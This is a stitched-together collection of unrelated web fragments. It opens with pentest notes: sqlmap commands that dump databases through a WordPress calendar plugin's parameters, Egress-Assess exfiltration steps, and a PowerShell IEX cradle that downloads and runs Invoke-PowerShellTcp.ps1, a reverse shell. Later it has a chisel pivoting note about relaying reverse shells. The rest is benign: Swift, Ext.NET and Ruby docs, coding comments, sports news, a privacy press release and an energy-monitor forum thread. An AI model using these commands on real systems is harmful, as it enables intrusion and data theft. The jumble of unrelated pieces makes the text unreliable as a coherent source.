sqlmap -u "http://<IP_ADDRESS>/?action-data_management&cpmvc_do_action=mvparse&f=edit&id=1" --dbs
sqlmap -u "http://<IP_ADDRESS>/?action-data_management&cpmvc_do_action=mvparse&f=edit&id=1" -D "databasename" --tables
sqlmap -u "http://<IP_ADDRESS>/?action-data_management&cpmvc_do_action=mvparse&f=edit&id=1" -D "databasename" -T "tables" --columns
sqlmap -u "http://<IP_ADDRESS>/?action-data_management&cpmvc_do_action=mvparse&f=edit&id=1" -D "databasename" -T "tables" -C "columnName" --dump
Manual testing for sqlmap can include using the following.
http://site/name.php?henryearl=1
http://site/name.php?henryearl=1'
http://site/name.php?henryearl=-1
http://site/name.php?henryearl=-1'
Wordpress Calendar SQL
sqlmap -u "http://"url"/?action=data_management&cpmvc_do_action=mvparse&f=datafeed&method=remove&rruleType=del_only&calendarId=123" -p calendarId
The big thing here is the calendarId
Data Exfiltration
Egress-Assess
In order to fulfill the data exfiltration service of an assessment, a tool called Egress-Assess is used. On the designated Egress-Assess server (the external Egress-Assess Kali machine) navigate to “root/Tools/Egress-Assess” and run:
Egress-Assess.py --server "protocol"
For ftp and smtp protocols, specify a –username and –password that the client can use to connect and be sure to indicate those on the client as well.
Once your server is set up, use the Egress-Assess client (the internal Egress-Assess Kali machine) and navigate to the “root/Tools/Egress-Assess” directory. Run the following command:
/Egress-Assess.py --client <protocol> --ip <server ip address> --datatype ssn –data-size 15’.
Repeat this process for each of the protocols (http, https, ftp, icmp, smb, dns, smtp) and use the server output to determine if the data exfiltration was blocked or not. Use a smaller data size for DNS and ICMP protocols since they utilize a lot of packets. Include the results in your report.
Windows Powershell
IEX(New-Object System.Net.WebClient).downloadString('http://"local ip"/Invoke-PowerShellTcp.ps1').
Kali Web Server
python3 -m htt.server 8080
python -m SimpleHTTPServer 8080


TPSVGImageContentMode
public enum TPSVGImageContentMode
A flag used to determine how an SVG image is layed out in its bounds.
-
The option to scale the content to fit the size of itself by changing the aspect ratio of the content if necessary.
Declaration
Swift
case scaleToFill
-
The option to scale the content to fit the size of the view by maintaining the aspect ratio. Any remaining area of the view’s bounds is transparent.
Declaration
Swift
case scaleAspectFit
-
The option to scale the content to fill the size of the view. Some portion of the content may be clipped to fill the view’s bounds.
Declaration
Swift
case scaleAspectFill
-
The option to center the content in the view’s bounds, keeping the proportions the same.
Declaration
Swift
case center
-
The option to center the content aligned at the top in the view’s bounds.
Declaration
Swift
case top
-
The option to center the content aligned at the bottom in the view’s bounds.
Declaration
Swift
case bottom
-
The option to align the content on the left of the view.
Declaration
Swift
case left
-
The option to align the content on the right of the view.
Declaration
Swift
case right
-
The option to align the content in the top-left corner of the view.
Declaration
Swift
case topLeft
-
The option to align the content in the top-right corner of the view.
Declaration
Swift
case topRight
-
The option to align the content in the bottom-left corner of the view.
Declaration
Swift
case bottomLeft
-
The option to align the content in the bottom-right corner of the view.
Declaration
Swift
case bottomRight


????? ???
on 2012-04-17 15:27:03
I have a lot to benefit from this article and thank you for this wonderful effort to this article and will continue my many articles you have other
Rocket
on 2011-05-05 18:23:00
I found an error with this code.
range('1', '10');
This makes Google Chrome lock up.
Lines 21 and 22 should be:
inival = parseInt(low, 10);
endval = parseInt(high, 10);
Brett Zamir
on 2011-03-17 11:12:00
@George. You can also compile only the functions you need for php.js. Personally speaking, doing "range('a', 'i');" seems easier and clearer than writing multi-stepped non-semantic code, even if that code is in a nice functional style. (It would be nice, I'll admit if our compiler could allow chaining in array functions, possibly stripping of the redundant "array_" prefix as in the PHP API, but in this case the php.js way seems easier.)
George
on 2011-03-16 23:22:17
I apologize. The code that you can use from jPaq is this:
Array.range(97,106).map(function(num) {
return String.fromCharCode(num);
})
George
on 2011-03-16 23:20:02
I just downloaded a build of jPaq that only contains the array functions. I definitely like how easy dealing with arrays can be. I used the following code to produce the lower-case letters a through i.
Array.range(97,106).forEach(function(num) {
return String.fromCharCode(num);
})
I can also easily emulate the other examples as well with jPaq. FYI, if you are looking for a neat javascript library that you custom build, make it at http://www.jpaq.org/
Kevin van Zonneveld
on 2009-12-14 15:40:34
@ cfddream: Thanks for sharing. Does your function also support alphanumeric ranges like in the 3rd example though?
cfddream
on 2009-12-06 14:56:06
This is my 'range' function:
function range(start, end, step){
var l = arguments.length;
if(l == 0) return [];
if(l == 1) return arguments.callee(0, start, 1);
if(l == 2) return arguments.callee(start, end, 1);
var temp = []
start = start>>0, end = end>>0, step = step>>0;
//console.log(start, end, step);
for(;start < end; start+= step){
temp.push(start);
}
return temp;
}
range(); // []
range(10); // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
range(-10); // []
range(-10, -20); //[]
range(0, 10); //[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
range(-10, 10, 2); // [-10, -8, -6, -4, -2, 0, 2, 4, 6, 8]


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code-touch task is a web app simply provide a user management system 'for now!' using either 'username & password account' or simply login via your google account.


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FRC - Combining the excitement of sport with the rigors of science and
technology. We call FIRST Robotics Competition the ultimate Sport for the Mind. High-school student
participants call it "the hardest fun you'll ever have."


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Dyne:
a unit of force that, acting on a mass of one gram, increases its velocity by one centimeter per second every
second along the direction that it acts.
Dynamism:
The theory that phenomena of matter or mind are due to the action of forces rather than to motion or matter.
'''
mov cx, ∞
startloop:
cmp cx, 0
jz endofloop
push cx
loopy:
Call ClrScr
pop cx
dec cx
jmp startloop
endofloop:
; Loop continuous
; exit block mem
'''


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Home > Data Structures and Algorithms Questions >Find next greater number with same set of digits (Array)
Given a number n, find the smallest number that has same set of digits as n and is greater than n. If n is the greatest possible number with its set of digits, then print “not possible”.
Sample test case:
Following are few observations about the next greater number.
1) If all digits sorted in descending order, then output is always “Not Possible”.
For example, 4321.
2) If all digits are sorted in ascending order, then we need to swap last two digits.
For example, 1234.
3) For other cases, we need to process the number from rightmost side (why? because we need to find the smallest of all greater numbers)
Following is the algorithm for finding the next greater number.
I) Traverse the given number from rightmost digit, keep traversing till you find a digit which is smaller than the previously traversed digit. For example, if the input number is “534976”, we stop at 4 because 4 is smaller than next digit 9. If we do not find such a digit, then output is “Not Possible”.
II) Now search the right side of above found digit ‘d’ for the smallest digit greater than ‘d’. For “534976″, the right side of 4 contains “976”. The smallest digit greater than 4 is 6.
III) Swap the above found two digits, we get 536974 in above example.
IV) Now sort all digits from position next to ‘d’ to the end of number. The number that we get after sorting is the output. For above example, we sort digits in bold 536974. We get “536479” which is the next greater number for input 534976.
#include<bits/stdc++.h> #include<vector> using namespace std; int main() { int n; cin>>n; vector<int> arr; for(int i=0;i<n;i++) { int de; cin>>de; arr.push_back(de); } int i=n-1; for(;i>0;i--) { if(arr[i]>arr[i-1])break; } int x = arr[i-1],temp = i-1; int j=i; for(i=j+1;i<n;i++) { if(arr[i]>x) { if(arr[i]<arr[j]) { j=i; } } } arr[temp] = arr[j]; arr[j]=x; sort(arr.begin()+temp+1 , arr.end()); for(int i=0;i<n;i++) { cout<<arr[i]<< } return 0; }


Watch NHL Game Degenerate Into Huge Brawl Over St. Louis’s Cheap Shot on Tampa’s Russian Star Winger
Reigning National Hockey League Most Valuable Player and Tampa Bay Lightning right winger Nikita Kucherov had to leave Tuesday night’s game against the St. Louis Blues injured after a hard hit by Blues’ centre Brayden Schenn.
Video of the cheap shot check on Kucherov shows exactly why Kucherov’s Tampa Bay defenceman Erik Cernak ended up getting into fisticuffs with Schenn.
TV footage of the game showed that shortly after Kucherov passed the puck, Schenn plowed into him from behind, causing the Tampa player to fall down hard on the ice, hitting his head.
Cernak, skating nearby and seeing the whole incident, can then be seen grabbing onto Schenn and pinning him up against the boards, gripping him in a bear hug as a ref skates up to try in vain to pry the players apart.
It takes the combined efforts of multiple players from both teams to finally separate the brawlers, with Schenn and Cernak exchanging insults, and Schenn pictured taking a seat in the box on a two-minute penalty. Cernak, meanwhile, got two roughing penalties for his retaliatory strike.
The check left Kucherov out for the rest of the game, which had three minutes left in the second period, skating off the ice on his own but unable to return. Tampa coach Jon Cooper said later that Kucherov’s injury was not concussion-related.
Tampa lost to the Blues 3-1 Tuesday.
Nicknamed ‘The Russian Rifle’, Kucherov is the reigning Hart Memorial Most Valuable Player Trophy and Art Ross Trophy on the most number of points at the end of the regular season, going into Tuesday’s game with 18 points in 18 matchups.
The 26-year-old Russian-born forward Joined Tampa Bay in 2011. Before that, he played for CSKA Moscow in Russia’s Kontinental Hockey League.


Blog
Press Release: Announcing PropPriv
May 25, 2016 (Austin, Texas) The newly formed Property and Privacy Alliance (PropPriv.org) will work to advance freedom by supporting free, open-source, publicly-available software projects that advance and protect property and privacy rights through cryptography. The foundation will be headed by Lavabit founder Ladar Levison, Hushmail founder Cliff Baltzley, and Chris Odom, the creator of Open-Transactions and co-founder of StashCrypto.com.
Obama Administration Set to Expand Sharing of Data That N.S.A. Intercepts
The Obama administration is “on the verge of permitting the National Security Agency to share more of the private communications it intercepts with other American intelligence agencies without first applying any privacy protections to them.”
Surprise! NSA data will soon routinely be used for domestic policing that has nothing to do with terrorism
Radley Balko at the Washington Post comments that the NSA's data “will be shared with other intelligence agencies like the FBI without first applying any screens for privacy.”
“This basically formalizes what was already happening under the radar. We’ve known for a couple of years now that the Drug Enforcement Administration and the IRS were getting information from the NSA. Because that information was obtained without a warrant, the agencies were instructed to engage in “parallel construction” when explaining to courts and defense attorneys how the information had been obtained...We’re now learning that the feds had these agreements with police agencies all over the country, affecting thousands of cases.”
How new FBI powers will exacerbate mass incarceration
From the ACLU of Massachusetts blog Privacy SOS:
“What does this rule change mean for you? In short, domestic law enforcement officials will soon have access to even larger troves of American communications, obtained without warrants, that they can use to put people in cages. If the rules governing FBI access to 12333 surveillance are like those that cover 702 collection, FBI agents won’t need to have any “national security” related reason to plug your name, email address, phone number, or other “selector” into the NSA’s gargantuan data trove. They could simply poke around in your private information in the course of totally routine investigations. And if they find something that suggests, say, involvement in illegal drug activity, they could send that information to local or state police. That means information the NSA collects for purposes of so-called “national security” will be used by police to lock up ordinary Americans for routine crimes.”
Apple vs FBI: Lavabit warns FBI’s “extraordinary” action may drive US businesses offshore
From the Amicus brief: “...the FBI sought the private encryption key used by Lavabit to protect the Secure Socket Layer (“SSL”) and Transport Layer Security (“TLS”) connections to their servers. With the SSL/TLS private key in hand, the FBI would be able to impersonate Lavabit on the Internet. This would allow them to intercept, decrypt, inspect, and modify (either with intent, or by accident) all of the connections between Lavabit and the outside world...”
White House, Silicon Valley to hold summit on militants' social media use
(Reuters) Senior White House officials and U.S. intelligence and law enforcement figures will meet with Silicon Valley executives on Friday to discuss how to counter the use of social media by militant groups, sources familiar with the meeting said on Thursday.
Notice that in Germany, the same social media companies are already censoring discussion of political issues:
Facebook, Twitter, Google collude with German government to censor discussion on immigration
(Breitbart) The two largest social networks, Facebook and Twitter, and the world’s largest search engine, Google, have teamed up with German law enforcement to delete “hate speech” within 24 hours in what is being seen as a last-ditch effort to silence public dissent about a gigantic wave of Syrian immigration.


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Sticky Element: Scroll Down to See the Effect
Scroll down this page to see how sticky positioning works.
I will stick to the screen when you reach my scroll position
Scroll back up again to "remove" the sticky position.


Local pivot is a great way to gain access to other internal resources that cannot connect all the way back to the attacking host.
Victim# chisel server -p 8000
Service# chisel client <Victim>:8000 9001:<IP_ADDRESS>:8001
Typically, only a single service or resource is requested (ie forwarding RDP it would be 9001:<IP_ADDRESS>:3389), but by specifying <IP_ADDRESS>:8001, anything that is sent to 8001 will be redirected through the tunnel. This allows an attacker to send a reverse shell to 8001 and receive it on Victim at 9001


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Ext.NET
5.3.0
.NET Component Framework for Enterprise Level Apps
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Public Member Functions | |
| Builder (TCalloutBase component) | |
| virtual TBuilder | Alignment (AnchorPoint alignment) |
| virtual TBuilder | ConstrainPosition (bool constrainPosition) |
| virtual TBuilder | CloseOnOutsideClick (bool closeOnOutsideClick) |
| virtual TBuilder | Trigger (CalloutTrigger trigger) |
| virtual TBuilder | AutoHide (bool autoHide) |
| virtual TBuilder | Delegate (string _delegate) |
| virtual TBuilder | Selector (string selector) |
| virtual TBuilder | EventSelector (string eventSelector) |
| virtual TBuilder | DismissDelay (int dismissDelay) |
| virtual TBuilder | HideDelay (int hideDelay) |
| virtual TBuilder | ShowDelay (int showDelay) |
| virtual TBuilder | Offset (int[] offset) |
| virtual TBuilder | ToolbarAlign (string toolbarAlign) |
| virtual TBuilder | ToolbarOffset (int[] toolbarOffset) |
| virtual TBuilder | Animation (bool animation) |
| virtual TBuilder | CloseAction (CloseAction closeAction) |
| virtual TBuilder | HoverConfig (HoverConfig hoverConfig) |
| virtual TBuilder | Title (string title) |
| virtual TBuilder | Html (string html) |
| virtual TBuilder | NoArrow (bool noArrow) |
| virtual TBuilder | Icon (Icon icon) |
| virtual TBuilder | IconCls (string iconCls) |
| virtual TBuilder | HeaderToolbar (Action< ToolbarCollection > action) |
| virtual TBuilder | BodyWidget (Action< ItemsCollection< AbstractComponent >> action) |
| virtual TBuilder | TargetControl (Action< Control > action) |
| virtual TBuilder | Target (string target) |
| virtual TBuilder | ArrowCls (string arrowCls) |
| virtual TBuilder | ArrowStyle (string arrowStyle) |
| virtual TBuilder | HeaderCls (string headerCls) |
| virtual TBuilder | HeaderStyle (string headerStyle) |
| virtual TBuilder | BodyCls (string bodyCls) |
| virtual TBuilder | BodyStyle (string bodyStyle) |
| virtual TBuilder | Glyph (int? glyph) |
| A numeric unicode character code to use as the icon for this callout. The default font-family for glyphs can be set globally using Ext.setGlyphFontFamily() or a ResourceManager's GlyphFontFamily. More... | |
| virtual TBuilder | GlyphSpec (string glyphSpec) |
| A numeric unicode character code to use as the icon for this callout. The default font-family for glyphs can be set globally using Ext.setGlyphFontFamily() or a ResourceManager's GlyphFontFamily. Alternatively, this config option accepts a string with the charCode and font-family separated by the @ symbol. For example '65@My Font Family'. More... | |
| virtual TBuilder | GlyphScale (ButtonScale glyphScale) |
| virtual TBuilder | GlyphScaleCustom (string glyphScaleCustom) |
| TCalloutBase | : | CalloutBase | |
| TBuilder | : | Builder | |
| TBuilder | : | TCalloutBase | |
| TBuilder | : | TBuilder |
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inline |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
| action | The action delegate |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
A numeric unicode character code to use as the icon for this callout. The default font-family for glyphs can be set globally using Ext.setGlyphFontFamily() or a ResourceManager's GlyphFontFamily.
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
A numeric unicode character code to use as the icon for this callout. The default font-family for glyphs can be set globally using Ext.setGlyphFontFamily() or a ResourceManager's GlyphFontFamily. Alternatively, this config option accepts a string with the charCode and font-family separated by the @ symbol. For example '65@My Font Family'.
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inlinevirtual |
| action | The action delegate |
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| action | The action delegate |
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All my inputs used to update every couple of seconds. Now all of them are taking @40 secs. I have made no changes whatsoever. Any ideas?
»
Archived Forum |
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Forgive my ignorance slow input updatesSubmitted by webby on Mon, 30/06/2014 - 21:25All my inputs used to update every couple of seconds. Now all of them are taking @40 secs. I have made no changes whatsoever. Any ideas? » |
Re: Forgive my ignorance slow input updates
Hello webby, can you give a bit more detail on your setup?
Re: Forgive my ignorance slow input updates
Looking through your previous posts, of course your using emoncms.org, sorry for my forgetfulness. Looking at your account now it looks ok from here updated within 5-10s. It may have been a temporary hold up. Thanks for asking and notifying, its good to know if anything goes amiss.
Re: Forgive my ignorance slow input updates
Have had no updates for 10hrs Now!
Re: Forgive my ignorance slow input updates
rebooted rpi and now seems ok. something was badly amiss because rpi seemed to be sending huge amounts of data aking up all my bandwidth. SOrted as soon as I rebooted.
Re: Forgive my ignorance slow input updates
What OS and software are you running on pi? how is connected to LAN WiFi or Ethernet cable? how are nodes connected to pi? there are checks you can do to locate the issue if it happens again, if you are using rfm2pi has the firmware been updated?
There are known WiFi issues with the drivers for some adapters on early IPE-R1 based oem-gateway and there are known issues with rfm2pi v2 locking out on earlier firmware, both can be temporarily resolved with a reboot.
Paul
Re: Forgive my ignorance slow input updates
std software as delivered on sd card recently updated. Emons.org hosted All connected by Ethernet cable. It seems that another piece of software that my pc is running is causing some kind of conflict as updates are fine once I disable it and reboot the rpi. The other piece of software which is an ip camera monitoring service is also being messed up and it just begins to hog all bandwidth (5mbs) whilst not working either. Possible port conflict????
Re: Forgive my ignorance slow input updates
How recently did you update the SD card? and did you update Raspbian or OEM gateway or both?
There was an issue with IPE-R1 when updating raspbian with "sudo apt-get upgrade" see http://openenergymonitor.org/emon/node/4036 but there have been several updates to Raspbian since then that may or may not of affected the upgrading result.
The IPE-R1 hasn't been updated by the original author but I did notice on his site a link to a 3rd party IPE-R1v2.
I cannot vouch for it though as I reverted to using an early un-updated version (which I was very happy with aside from not being able to update it) until recently switching to using stock Raspbian in read-only mode http://openenergymonitor.org/emon/node/5331.
I can't tell you if this is the issue or not but if you used "sudo apt-get upgrade" I certainly wouldn't be surprised if it was.
It is quite possible that it's a port or IP address conflict causing network issues, does restarting your router fix the issue or only rebooting the pi? I assume from your comments if you disable ip camera monitor, the pi doesn't recover by itself.
Paul
Re: Forgive my ignorance slow input updates
The rpi does not recover when the camera monitor is disabled. Nor does it recover when the router is restarted with the camera monitor disabled. Only rebooting the rpi gets it to work again. Not sure what this tells us? DO you know what port the rpi uses? The ip camera system uses ports 9001 and 9002 for external monitoring of cameras. I did not use the update that you refer to.
Thanks for your assistance
Re: Forgive my ignorance slow input updates
By default OEM gateway opens a port on 50011, this can be disabled by 'commenting out' each of the lines in the [[Socket]] settings in the oemgateway.conf with a #.
If the Pi was able to recover by itself that would tell us we should probably look elsewhere for an issue, the fact the Pi doesn't recover suggests there is a problem with the Pi, however it doesn't rule out the possibility that the cause is external to the Pi and the Pi's issue is the inability to handle the external fault. does the fault only occur if the IP camera system is running?
What are the current symptoms is it a consistent delay or does it just stop posting or both?
Your original post said the inputs where updating every 40 secs, was that number taken from the "last updated" column or did you calculate that result? The reason I ask is, for example if that column varies between 0 & 40 or 15 & 55 the updates are indeed every 40secs but if it's varying between say 30 & 40 then it is updating every 10secs but there is a 30 second time difference or delay, these are 2 different situations and it's quite easy to get led in the wrong direction.
Trystan said he checked your account and it was updating every 5-10secs at that time, do you recall if matched what you were seeing at that time? your next post after this said it hadn't updated in 10hrs, do you know if the delay gradually built up or it just suddenly stopped?
I assume you are collecting data via a rfm2pi? have you tried the oemgateway "troubleshooting" section at the end of this page http://emoncms.org/site/docs/raspberrypigateway. this will confirm successful receipt of packets, which can confirm update time, frequency & interval and if the frames are dispatched successfully. It can also tell us if the fault is persistent when restarting the gateway service & serial connection, all valuable info even if just for elimination.
Paul
Re: Forgive my ignorance slow input updates
Solved! seems to have been a router issue.further research ongoing. Thanks for your help everybody.
Re: Forgive my ignorance slow input updates
Not quite solved!
Major issue with large home network now seems to be fixed However:
Inputs are now updating regularly but there is a delay which varies around 50 to 65 secs. It used to be 5-10 secs.
Can anybody explain this(and hopefully the solution) to an ignoramus such as myself?
Also I have never got to the bottom of why my PHP feeds are logging a day behind my SQL feeds.
Is trystan still working on it or do I have my time zone set incorrectly somehow?
Re: Forgive my ignorance slow input updates
I think I am having the same (or similar) issue. All has been working fine for weeks then a few data ago emocms stopped updating. Updates are happening but are intermittent and often with the wrong values.
What was you router issue?
Thanks..
Re: Forgive my ignorance slow input updates
Hi webby, The important thing is you are receiving regular updates. The variation "around 50 to 65 secs" means you are getting good data arriving regularly, emoncms is counting up to a max of ~65sec since update and dropping back to a minimum of ~50secs since update.
The ~50 second discrepancy is probably consistent and signifies either a delay, which is rare or more likely a time difference somewhere, I frequently even see minus 5 seconds since last update in emoncms. so it will vary. ~50secs seems quite high though.
Can you confirm if it's a time inaccuracy or a delay by watching emoncms and switching on a large load on a monitored supply and see how long until that change is displayed relative to the "since update" value at the time of update?
I'm not entirely sure where the times are derived off the top of my head but you can resync the time on the Pi by running sudo ntpd, it is common for them to be out of sync due to not having a RealTimeClock onboard.
Paul
Re: Forgive my ignorance slow input updates
Hi Paul
It seems that syncing the times correctly in my managed switches and router has solved the delay issue. It is now 5-10 secs.
The other problem still eludes me but setting the time correctly in the RPi could well be it.
I just need to remember how to do it on a MAC!


I never am really satisfied that I understand anything; because, understand it well as I may, my comprehension can only be an infinitesimal fraction of all I want to understand about the many connections and relations which occur to me, how the matter in question was first thought of or arrived at, etc., etc.
In almost every computation a great variety of arrangements for the succession of the processes is possible, and various considerations must influence the selections amongst them for the purposes of a calculating engine. One essential object is to choose that arrangement which shall tend to reduce to a minimum the time necessary for completing the calculation.
Many persons who are not conversant with mathematical studies imagine that because the business of [Babbage’s Analytical Engine] is to give its results in numerical notation, the nature of its processes must consequently be arithmetical and numerical, rather than algebraical and analytical. This is an error. The engine can arrange and combine its numerical quantities exactly as if they were letters or any other general symbols; and in fact it might bring out its results in algebraical notation, were provisions made accordingly.
The Analytical Engine has no pretensions whatever to originate anything. It can do whatever we know how to order it to perform. It can follow analysis, but it has no power of anticipating any analytical revelations or truths. Its province is to assist us in making available what we are already acquainted with.


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ESPN’s Updated Prediction For Ohio State-Michigan
by Andrew HolleranThere are now less than two weeks until the 2019 edition of “The Game” between Ohio State and Michigan. The Buckeyes and the Wolverines will meet in Ann Arbor on Saturday, Nov. 30.
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Michigan blew out Michigan State on Saturday and is finally humming on offense. Will the Wolverines be able to pull off an upset and give Harbaugh his first victory over Ohio State?
ESPN’s Football Power Index has updated its prediction.
ESPN’s Football Power Index still likes the Buckeyes, though the percentages are starting to get a little closer. It gives Ohio State a 77.8 percent chance to win, giving Michigan a 22.2 percent chance.
Michigan QB Shea Patterson is ready for the matchup.
Ohio State and Michigan will kick off at noon E.T. on Nov. 30.
The game will be on FOX.


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I am currently an undergrad studying Computer Science at UC Santa Barbara.
At UCSB, I am involved in several organizations, including the Society of Women Engineers and Association of Computing Machinery.
Outside of school, I enjoy travelling, photography, and swimming. I also love to cook with my housemates when we have free time.
From September through December 2015, I spent a semester abroad at the the University of Edinburgh in Scotland.
While attending classes in the UK, I took the opportunity to travel to other places in Europe, hoping to see as much as I possibly could. If you'd like to see where I went, you
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The InstructionSequence class represents a compiled sequence of instructions for the Virtual Machine used in MRI. Not all implementations of Ruby may implement this class, and for the implementations that implement it, the methods defined and behavior of the methods can change in any version.
With it, you can get a handle to the instructions that make up a method or a proc, compile strings of Ruby code down to VM instructions, and disassemble instruction sequences to strings for easy inspection. It is mostly useful if you want to learn how YARV works, but it also lets you control various settings for the Ruby iseq compiler.
You can find the source for the VM instructions in insns.def
in the Ruby source.
The instruction sequence results will almost certainly change as Ruby changes, so example output in this documentation may be different from what you see.
Of course, this class is MRI specific.
Takes source
, a String of Ruby
code and compiles it to an InstructionSequence.
Optionally takes file
, path
, and
line
which describe the file path, real path and first line
number of the ruby code in source
which are metadata attached
to the returned iseq
.
file
is used for `__FILE__` and exception backtrace.
path
is used for require_relative
base. It is
recommended these should be the same full path.
options
, which can be true
, false
or
a Hash
, is used to modify the default behavior of the Ruby
iseq compiler.
For details regarding valid compile options see ::compile_option=.
RubyVM::InstructionSequence.compile("a = 1 + 2") #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> path = "test.rb" RubyVM::InstructionSequence.compile(File.read(path), path, File.expand_path(path)) #=> <RubyVM::InstructionSequence:<compiled>@test.rb:1> path = File.expand_path("test.rb") RubyVM::InstructionSequence.compile(File.read(path), path, path) #=> <RubyVM::InstructionSequence:<compiled>@/absolute/path/to/test.rb:1>
static VALUE iseqw_s_compile(int argc, VALUE *argv, VALUE self) { VALUE src, file = Qnil, path = Qnil, line = INT2FIX(1), opt = Qnil; int i; i = rb_scan_args(argc, argv, "1*:", &src, NULL, &opt); if (i > 4+NIL_P(opt)) rb_error_arity(argc, 1, 5); switch (i) { case 5: opt = argv[--i]; case 4: line = argv[--i]; case 3: path = argv[--i]; case 2: file = argv[--i]; } if (NIL_P(file)) file = rb_fstring_lit("<compiled>"); if (NIL_P(path)) path = file; if (NIL_P(line)) line = INT2FIX(1); Check_Type(path, T_STRING); Check_Type(file, T_STRING); return iseqw_new(rb_iseq_compile_with_option(src, file, path, line, opt)); }
Takes file
, a String with the
location of a Ruby source file, reads, parses and compiles the file, and
returns iseq
, the compiled InstructionSequence with source
location metadata set.
Optionally takes options
, which can be true
,
false
or a Hash
, to modify the default behavior
of the Ruby iseq compiler.
For details regarding valid compile options see ::compile_option=.
# /tmp/hello.rb puts "Hello, world!" # elsewhere RubyVM::InstructionSequence.compile_file("/tmp/hello.rb") #=><EMAIL_ADDRESS>static VALUE iseqw_s_compile_file(int argc, VALUE *argv, VALUE self) { VALUE file, line = INT2FIX(1), opt = Qnil; VALUE parser, f, exc = Qnil, ret; rb_ast_t *ast; rb_compile_option_t option; int i; i = rb_scan_args(argc, argv, "1*:", &file, NULL, &opt); if (i > 1+NIL_P(opt)) rb_error_arity(argc, 1, 2); switch (i) { case 2: opt = argv[--i]; } FilePathValue(file); file = rb_fstring(file); /* rb_io_t->pathv gets frozen anyways */ f = rb_file_open_str(file, "r"); parser = rb_parser_new(); rb_parser_set_context(parser, NULL, FALSE); ast = rb_parser_compile_file_path(parser, file, f, NUM2INT(line)); if (!ast->body.root) exc = GET_EC()->errinfo; rb_io_close(f); if (!ast->body.root) { rb_ast_dispose(ast); rb_exc_raise(exc); } make_compile_option(&option, opt); ret = iseqw_new(rb_iseq_new_with_opt(&ast->body, rb_fstring_lit("<main>"), file, rb_realpath_internal(Qnil, file, 1), line, NULL, ISEQ_TYPE_TOP, &option)); rb_ast_dispose(ast); return ret; }
Returns a hash of default options used by the Ruby iseq compiler.
For details, see ::compile_option=.
static VALUE iseqw_s_compile_option_get(VALUE self) { return make_compile_option_value(&COMPILE_OPTION_DEFAULT); }
Sets the default values for various optimizations in the Ruby iseq compiler.
Possible values for options
include true
, which
enables all options, false
which disables all options, and
nil
which leaves all options unchanged.
You can also pass a Hash
of options
that you want
to change, any options not present in the hash will be left unchanged.
Possible option names (which are keys in options
) which can be
set to true
or false
include:
:inline_const_cache
:instructions_unification
:operands_unification
:peephole_optimization
:specialized_instruction
:stack_caching
:tailcall_optimization
Additionally, :debug_level
can be set to an integer.
These default options can be overwritten for a single run of the iseq
compiler by passing any of the above values as the options
parameter to ::new, ::compile and ::compile_file.
static VALUE iseqw_s_compile_option_set(VALUE self, VALUE opt) { rb_compile_option_t option; make_compile_option(&option, opt); COMPILE_OPTION_DEFAULT = option; return opt; }
Takes body
, a Method or Proc object, and returns a String with the human readable instructions for
body
.
For a Method object:
# /tmp/method.rb def hello puts "hello, world" end puts RubyVM::InstructionSequence.disasm(method(:hello))
Produces:
== disasm<EMAIL_ADDRESS>0000 trace 8 ( 1) 0002 trace 1 ( 2) 0004 putself 0005 putstring "hello, world" 0007 send :puts, 1, nil, 8, <ic:0> 0013 trace 16 ( 3) 0015 leave ( 2)
For a Proc:
# /tmp/proc.rb p = proc { num = 1 + 2 } puts RubyVM::InstructionSequence.disasm(p)
Produces:
== disasm: <RubyVM::InstructionSequence:block in<EMAIL_ADDRESS>== catch table | catch type: redo st: 0000 ed: 0012 sp: 0000 cont: 0000 | catch type: next st: 0000 ed: 0012 sp: 0000 cont: 0012 |------------------------------------------------------------------------ local table (size: 2, argc: 0 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 2] num 0000 trace 1 ( 1) 0002 putobject 1 0004 putobject 2 0006 opt_plus <ic:1> 0008 dup 0009 setlocal num, 0 0012 leave
static VALUE iseqw_s_disasm(VALUE klass, VALUE body) { VALUE iseqw = iseqw_s_of(klass, body); return NIL_P(iseqw) ? Qnil : rb_iseq_disasm(iseqw_check(iseqw)); }
Takes body
, a Method or Proc object, and returns a String with the human readable instructions for
body
.
For a Method object:
# /tmp/method.rb def hello puts "hello, world" end puts RubyVM::InstructionSequence.disasm(method(:hello))
Produces:
== disasm<EMAIL_ADDRESS>0000 trace 8 ( 1) 0002 trace 1 ( 2) 0004 putself 0005 putstring "hello, world" 0007 send :puts, 1, nil, 8, <ic:0> 0013 trace 16 ( 3) 0015 leave ( 2)
For a Proc:
# /tmp/proc.rb p = proc { num = 1 + 2 } puts RubyVM::InstructionSequence.disasm(p)
Produces:
== disasm: <RubyVM::InstructionSequence:block in<EMAIL_ADDRESS>== catch table | catch type: redo st: 0000 ed: 0012 sp: 0000 cont: 0000 | catch type: next st: 0000 ed: 0012 sp: 0000 cont: 0012 |------------------------------------------------------------------------ local table (size: 2, argc: 0 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 2] num 0000 trace 1 ( 1) 0002 putobject 1 0004 putobject 2 0006 opt_plus <ic:1> 0008 dup 0009 setlocal num, 0 0012 leave
static VALUE iseqw_s_disasm(VALUE klass, VALUE body) { VALUE iseqw = iseqw_s_of(klass, body); return NIL_P(iseqw) ? Qnil : rb_iseq_disasm(iseqw_check(iseqw)); }
Load an iseq object from binary format String object created by #to_binary.
This loader does not have a verifier, so that loading broken/modified binary causes critical problem.
You should not load binary data provided by others. You should use binary data translated by yourself.
static VALUE iseqw_s_load_from_binary(VALUE self, VALUE str) { return iseqw_new(rb_iseq_ibf_load(str)); }
Load extra data embed into binary format String object.
static VALUE iseqw_s_load_from_binary_extra_data(VALUE self, VALUE str) { return rb_iseq_ibf_load_extra_data(str); }
Takes source
, a String of Ruby
code and compiles it to an InstructionSequence.
Optionally takes file
, path
, and
line
which describe the file path, real path and first line
number of the ruby code in source
which are metadata attached
to the returned iseq
.
file
is used for `__FILE__` and exception backtrace.
path
is used for require_relative
base. It is
recommended these should be the same full path.
options
, which can be true
, false
or
a Hash
, is used to modify the default behavior of the Ruby
iseq compiler.
For details regarding valid compile options see ::compile_option=.
